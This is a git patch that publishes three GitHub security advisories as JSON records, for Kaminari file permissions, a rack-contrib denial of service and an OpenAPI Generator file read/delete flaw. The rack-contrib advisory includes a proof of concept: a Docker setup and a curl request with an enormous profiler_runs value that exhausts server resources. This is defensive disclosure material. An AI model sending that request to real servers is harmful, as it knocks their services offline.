From e15ced4da44cdd4a7d7da954be0079312945a776 Mon Sep 17 00:00:00 2001 From: "advisory-database[bot]" <45398580+advisory-database[bot]@users.noreply.github.com> Date: Tue, 28 May 2024 15:49:45 +0000 Subject: [PATCH] Publish Advisories GHSA-7r3j-qmr4-jfpj GHSA-8c8q-2xw3-j869 GHSA-g3hr-p86p-593h --- .../GHSA-7r3j-qmr4-jfpj.json | 64 +++++++++++++++++ .../GHSA-8c8q-2xw3-j869.json | 65 +++++++++++++++++ .../GHSA-g3hr-p86p-593h.json | 69 +++++++++++++++++++ 3 files changed, 198 insertions(+) create mode 100644 advisories/github-reviewed/2024/05/GHSA-7r3j-qmr4-jfpj/GHSA-7r3j-qmr4-jfpj.json create mode 100644 advisories/github-reviewed/2024/05/GHSA-8c8q-2xw3-j869/GHSA-8c8q-2xw3-j869.json create mode 100644 advisories/github-reviewed/2024/05/GHSA-g3hr-p86p-593h/GHSA-g3hr-p86p-593h.json diff --git a/advisories/github-reviewed/2024/05/GHSA-7r3j-qmr4-jfpj/GHSA-7r3j-qmr4-jfpj.json b/advisories/github-reviewed/2024/05/GHSA-7r3j-qmr4-jfpj/GHSA-7r3j-qmr4-jfpj.json new file mode 100644 index 00000000000..21c98820dc3 --- /dev/null +++ b/advisories/github-reviewed/2024/05/GHSA-7r3j-qmr4-jfpj/GHSA-7r3j-qmr4-jfpj.json @@ -0,0 +1,64 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-7r3j-qmr4-jfpj", + "modified": "2024-05-28T15:47:00Z", + "published": "2024-05-28T15:47:00Z", + "aliases": [ + "CVE-2024-32978" + ], + "summary": "Kaminari Insecure File Permissions Vulnerability", + "details": "A moderate severity security vulnerability has been identified in the Kaminari pagination library for Ruby on Rails, concerning insecure file permissions. This advisory outlines the vulnerability, affected versions, and provides guidance for mitigation.\n\n### Impact\n\nThis vulnerability is of moderate severity due to the potential for unauthorized write access to particular Ruby files managed by the library. Such access could lead to the alteration of application behavior or data integrity issues.\n\n### Resolution\n\nThose who use the `gem install` command, such as `gem install kaminari -v 0.16.1`, `gem unpack kaminari -v 0.16.1`, or `bundle install` to download the package would **_not_** be affected and no action is required. \n\nThose who manually download and decompressing the affected versions are advised to update to 0.16.2 or later version of Kaminari where file permissions have been adjusted to enhance security.\n\n### Workarounds\n\nIf upgrading is not feasible immediately, manually adjusting the file permissions on the server to `644` to restrict access is a viable interim measure.\n\n#### All Affected Versions:\n\n```\nlib/kaminari/models/page_scope_methods.rb\n```\n\nIn addition to the previously mentioned files, security tools like AWS Inspector might also identify other files as unsafe. These files, although not loaded or used at runtime, may still be flagged. To avoid any potential confusion in your logs and ensure system integrity, we recommend updating the permissions for these files as well. This proactive measure helps maintain a clean security posture and minimizes unnecessary alerts.\n\n#### Version 0.15.0 and 0.15.1:\n\n```\nspec/models/mongo_mapper/mongo_mapper_spec.rb\n```\n\n#### Version 0.16.0:\n\n```\nspec/models/mongo_mapper/mongo_mapper_spec.rb\nspec/models/mongoid/mongoid_spec.rb\n```\n\n#### Version 0.16.1:\n\n```\nspec/models/active_record/scopes_spec.rb\nspec/models/mongo_mapper/mongo_mapper_spec.rb\nspec/models/mongoid/mongoid_spec.rb\ngemfiles/data_mapper_12.gemfile\ngemfiles/active_record_32.gemfile\n```\n\n### References\n\nOfficial Kaminari repository link (this page)\n\n### Acknowledgements\n\nWe thank [Gareth Jones](https://github.com/G-Rath) for discovering and reporting this issue. Their diligent work is instrumental in our ongoing efforts to maintain and improve software security.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "kaminari" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.15.0" + }, + { + "fixed": "0.16.2" + } + ] + } + ], + "database_specific": { + "last_known_affected_version_range": "<= 0.16.1" + } + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/kaminari/kaminari/security/advisories/GHSA-7r3j-qmr4-jfpj" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32978" + }, + { + "type": "PACKAGE", + "url": "https://github.com/kaminari/kaminari" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-276" + ], + "severity": "MODERATE", + "github_reviewed": true, + "github_reviewed_at": "2024-05-28T15:47:00Z", + "nvd_published_at": "2024-05-27T16:15:08Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/05/GHSA-8c8q-2xw3-j869/GHSA-8c8q-2xw3-j869.json b/advisories/github-reviewed/2024/05/GHSA-8c8q-2xw3-j869/GHSA-8c8q-2xw3-j869.json new file mode 100644 index 00000000000..f9dbca70728 --- /dev/null +++ b/advisories/github-reviewed/2024/05/GHSA-8c8q-2xw3-j869/GHSA-8c8q-2xw3-j869.json @@ -0,0 +1,65 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-8c8q-2xw3-j869", + "modified": "2024-05-28T15:48:43Z", + "published": "2024-05-28T15:48:43Z", + "aliases": [ + "CVE-2024-35231" + ], + "summary": "rack-contrib vulnerable to Denial of Service due to the unconstrained value of the incoming \"profiler_runs\" parameter", + "details": "### Summary\n\nThe next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770).\n\n```ruby\n runs = (request.params['profiler_runs'] || @times).to_i\n result = @profile.profile do\n runs.times { @app.call(env) }\n end\n```\n\nAn exploit as such `curl --fail \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"` may cause resource exhaution by a remotely controlled value.\n\n### PoC\n\nHerein the `config.ru` file: \n\n```ruby\nrequire 'rack'\nrequire 'rack/contrib'\n\nuse Rack::Profiler # if ENV['RACK_ENV'] == 'development'\n\n# Define a Rack application\napp = lambda do |env|\n # Your application logic goes here\n [200, {}, [\"Hello World\"]]\nend\n\n# Run the Rack application\nrun app\n```\n\nA Dockerfile:\n\n```Dockerfile\n# Use the official Ruby image as a base\nFROM ruby:latest\n\n# Set the working directory inside the container\nWORKDIR /app\n\n# Copy the custom config.ru file into the container\nCOPY config.ru .\nCOPY Gemfile .\n\n# Install rack and the gems needed to run the app\nRUN bundle install\n\n# Expose the port that rackup will listen on\nEXPOSE 9292\n\n# Run rackup when the container starts\nENTRYPOINT [\"rackup\",\"--host\",\"0.0.0.0\",\"--port\",\"9292\"]\n\n# Health check\nHEALTHCHECK --interval=3s --timeout=10s --start-period=2s --retries=3 CMD curl --fail http://localhost:9292/ || exit 1\n\n```\n\nA Gemfile \n\n```\nsource 'https://rubygems.org'\n\ngem 'rack', '~> 2.0'\ngem 'rack-contrib', '~> 2.4'\ngem 'rackup'\ngem 'ruby-prof'\n```\n\nA Docker compose\n\n```Dockerfile\nservices:\n app:\n build:\n context: .\n ports:\n - \"9292:9292\"\n```\n\nTo run the PoC \n\n```bash\ndocker compose up --build\n```\n\nTo exploit DoS: \n\n```bash\ncurl \"http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time\"\n```\n\n### Impact\n - Potential denial of service by remotely user-controlled data.\n", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "RubyGems", + "name": "rack-contrib" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "2.5.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/rack/rack-contrib/security/advisories/GHSA-8c8q-2xw3-j869" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35231" + }, + { + "type": "WEB", + "url": "https://github.com/rack/rack-contrib/commit/0eec2a9836329051c6742549e65a94a4c24fe6f7" + }, + { + "type": "PACKAGE", + "url": "https://github.com/rack/rack-contrib" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-770" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-05-28T15:48:43Z", + "nvd_published_at": "2024-05-27T17:15:09Z" + } +} \ No newline at end of file diff --git a/advisories/github-reviewed/2024/05/GHSA-g3hr-p86p-593h/GHSA-g3hr-p86p-593h.json b/advisories/github-reviewed/2024/05/GHSA-g3hr-p86p-593h/GHSA-g3hr-p86p-593h.json new file mode 100644 index 00000000000..850013e033d --- /dev/null +++ b/advisories/github-reviewed/2024/05/GHSA-g3hr-p86p-593h/GHSA-g3hr-p86p-593h.json @@ -0,0 +1,69 @@ +{ + "schema_version": "1.4.0", + "id": "GHSA-g3hr-p86p-593h", + "modified": "2024-05-28T15:47:57Z", + "published": "2024-05-28T15:47:57Z", + "aliases": [ + "CVE-2024-35219" + ], + "summary": "OpenAPI Generator Online - Arbitrary File Read/Delete", + "details": "### Impact\nAttackers can exploit the vulnerability to read and delete files and folders from an arbitrary, writable directory as anyone can set the output folder when submitting the request via the `outputFolder` option.\n\n### Patches\nThe issue was fixed via https://github.com/OpenAPITools/openapi-generator/pull/18652 (included in v7.6.0 release) by removing the usage of the `outputFolder` option.\n\n### Workarounds\nNo workaround available.\n\n### References\nNo other reference available.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H" + } + ], + "affected": [ + { + "package": { + "ecosystem": "Maven", + "name": "org.openapitools:openapi-generator-online" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0" + }, + { + "fixed": "7.6.0" + } + ] + } + ] + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/OpenAPITools/openapi-generator/security/advisories/GHSA-g3hr-p86p-593h" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35219" + }, + { + "type": "WEB", + "url": "https://github.com/OpenAPITools/openapi-generator/pull/18652" + }, + { + "type": "WEB", + "url": "https://github.com/OpenAPITools/openapi-generator/commit/edbb021aadae47dcfe690313ce5119faf77f800d" + }, + { + "type": "PACKAGE", + "url": "https://github.com/OpenAPITools/openapi-generator" + } + ], + "database_specific": { + "cwe_ids": [ + "CWE-22" + ], + "severity": "HIGH", + "github_reviewed": true, + "github_reviewed_at": "2024-05-28T15:47:57Z", + "nvd_published_at": "2024-05-27T16:15:09Z" + } +} \ No newline at end of file